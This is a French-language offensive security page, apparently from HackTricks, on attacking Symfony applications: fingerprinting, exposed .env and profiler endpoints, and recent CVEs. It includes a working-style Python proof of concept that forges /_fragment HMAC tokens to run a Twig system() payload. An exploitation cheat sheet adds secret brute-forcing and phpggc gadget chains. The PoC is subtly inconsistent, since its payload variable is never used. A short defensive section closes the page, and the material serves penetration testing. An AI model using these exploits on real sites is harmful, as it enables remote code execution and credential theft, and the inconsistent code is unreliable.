Symfony
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Symfony est l'un des frameworks PHP les plus utilisés et apparaßt réguliÚrement dans les évaluations des cibles d'entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM⊠tous intÚgrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrÎle lorsque vous découvrez une application Symfony.
Note historique : Une grande partie de l'Ă©cosystĂšme utilise encore la branche 5.4 LTS (EOL novembre 2025). VĂ©rifiez toujours la version mineure exacte car de nombreux avis de sĂ©curitĂ© de 2023-2025 ne sont corrigĂ©s que dans des versions de patch (par exemple, 5.4.46 â 5.4.50).
Recon & Enumeration
Finger-printing
- En-tĂȘtes de rĂ©ponse HTTP :
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
ou cookies commençant parsf_redirect
,sf_session
,MOCKSESSID
. - Les fuites de code source (
composer.json
,composer.lock
,/vendor/âŠ
) révÚlent souvent la version exacte :
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Routes publiques qui n'existent que sur Symfony :
/_profiler
(Symfony Profiler & barre d'outils de débogage)/_wdt/<token>
(âWeb Debug Toolbarâ)/_error/{code}.{_format}
(pages d'erreur jolies)/app_dev.php
,/config.php
,/config_dev.php
(contrÎleurs frontaux de développement pré-4.0)- Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster :
symfony.txt
â recherchez/_fragment
,/_profiler
,.env
,.htaccess
.
Fichiers et points de terminaison intéressants
Chemin | Pourquoi c'est important |
---|---|
/.env , /.env.local , /.env.prod | Souvent mal dĂ©ployĂ©s â fuites APP_SECRET , identifiants DB, SMTP, clĂ©s AWS |
/.git , .svn , .hg | Divulgation de source â identifiants + logique mĂ©tier |
/var/log/*.log , /log/dev.log | Mauvaise configuration de la racine web expose des traces de pile |
/_profiler | Historique complet des requĂȘtes, configuration, conteneur de services, APP_SECRET (†3.4) |
/_fragment | Point d'entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET |
/vendor/phpunit/phpunit/phpunit | RCE PHPUnit si accessible (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & parfois fuite des traces d'exception |
Vulnérabilités à fort impact (2023-2025)
1. Divulgation de APP_SECRET â RCE via /_fragment
(alias âsecret-fragmentâ)
- CVE-2019-18889 à l'origine, mais apparaßt toujours sur des cibles modernes lorsque le débogage est laissé activé ou que
.env
est exposé. - Une fois que vous connaissez le
APP_SECRET
de 32 caractÚres, créez un jeton HMAC et abusez du contrÎleur internerender()
pour exécuter du Twig arbitraire :
# PoC â nĂ©cessite le secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeefâŠ')
payload = "{{['id']|filter('system')}}" # RCE dans Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excellent article et script d'exploitation : blog Ambionics (lié dans les références).
2. DĂ©tournement de processus Windows â CVE-2024-51736
- Le composant
Process
recherchait le répertoire de travail actuel avantPATH
sur Windows. Un attaquant capable de téléchargertar.exe
,cmd.exe
, etc. dans une racine web écrivable et de déclencherProcess
(par exemple, extraction de fichiers, génération de PDF) obtient l'exécution de commandes. - Corrigé dans 5.4.50, 6.4.14, 7.1.7.
3. Fixation de session â CVE-2023-46733
- Le garde d'authentification a réutilisé un ID de session existant aprÚs la connexion. Si un attaquant définit le cookie avant que la victime ne s'authentifie, il détourne le compte aprÚs la connexion.
4. XSS dans le sandbox Twig â CVE-2023-46734
- Dans les applications qui exposent des modÚles contrÎlés par l'utilisateur (CMS admin, constructeur d'e-mails), le filtre
nl2br
pourrait ĂȘtre abusĂ© pour contourner le sandbox et injecter du JS.
5. Chaßnes de gadgets Symfony 1 (toujours trouvées dans des applications héritées)
phpggc symfony/1 system id
produit une charge utile Phar qui déclenche RCE lorsqu'un unserialize() se produit sur des classes telles quesfNamespacedParameterHolder
. Vérifiez les points de terminaison de téléchargement de fichiers et les wrappersphar://
.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculer le jeton HMAC pour /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef⊠"template=@App/evil&filter=raw&_format=html"
Bruteforce faible APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
Si bin/console
est accessible via php-fpm
ou un téléchargement direct en CLI :
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Utilisez des gadgets de dĂ©sĂ©rialisation dans le rĂ©pertoire de cache ou Ă©crivez un modĂšle Twig malveillant qui sera exĂ©cutĂ© lors de la prochaine requĂȘte.
Notes défensives
- Ne jamais déployer le débogage (
APP_ENV=dev
,APP_DEBUG=1
) en production ; bloquez/app_dev.php
,/_profiler
,/_wdt
dans la configuration du serveur web. - Stockez les secrets dans des variables d'environnement ou
vault/secrets.local.php
, jamais dans des fichiers accessibles via le document-root. - Appliquez la gestion des correctifs â abonnez-vous aux avis de sĂ©curitĂ© Symfony et maintenez au moins le niveau de correctif LTS.
- Si vous utilisez Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur
open_basedir
/disable_functions
.
Outils offensifs utiles
- ambionics/symfony-exploits â RCE de fragment secret, dĂ©couverte de routes de dĂ©bogage.
- phpggc â ChaĂźnes de gadgets prĂȘtes Ă l'emploi pour Symfony 1 & 2.
- sf-encoder â petit outil pour calculer le HMAC de
_fragment
(implémentation Go).
Références
- Ambionics â Symfony âsecret-fragmentâ Remote Code Execution
- Symfony Security Advisory â CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.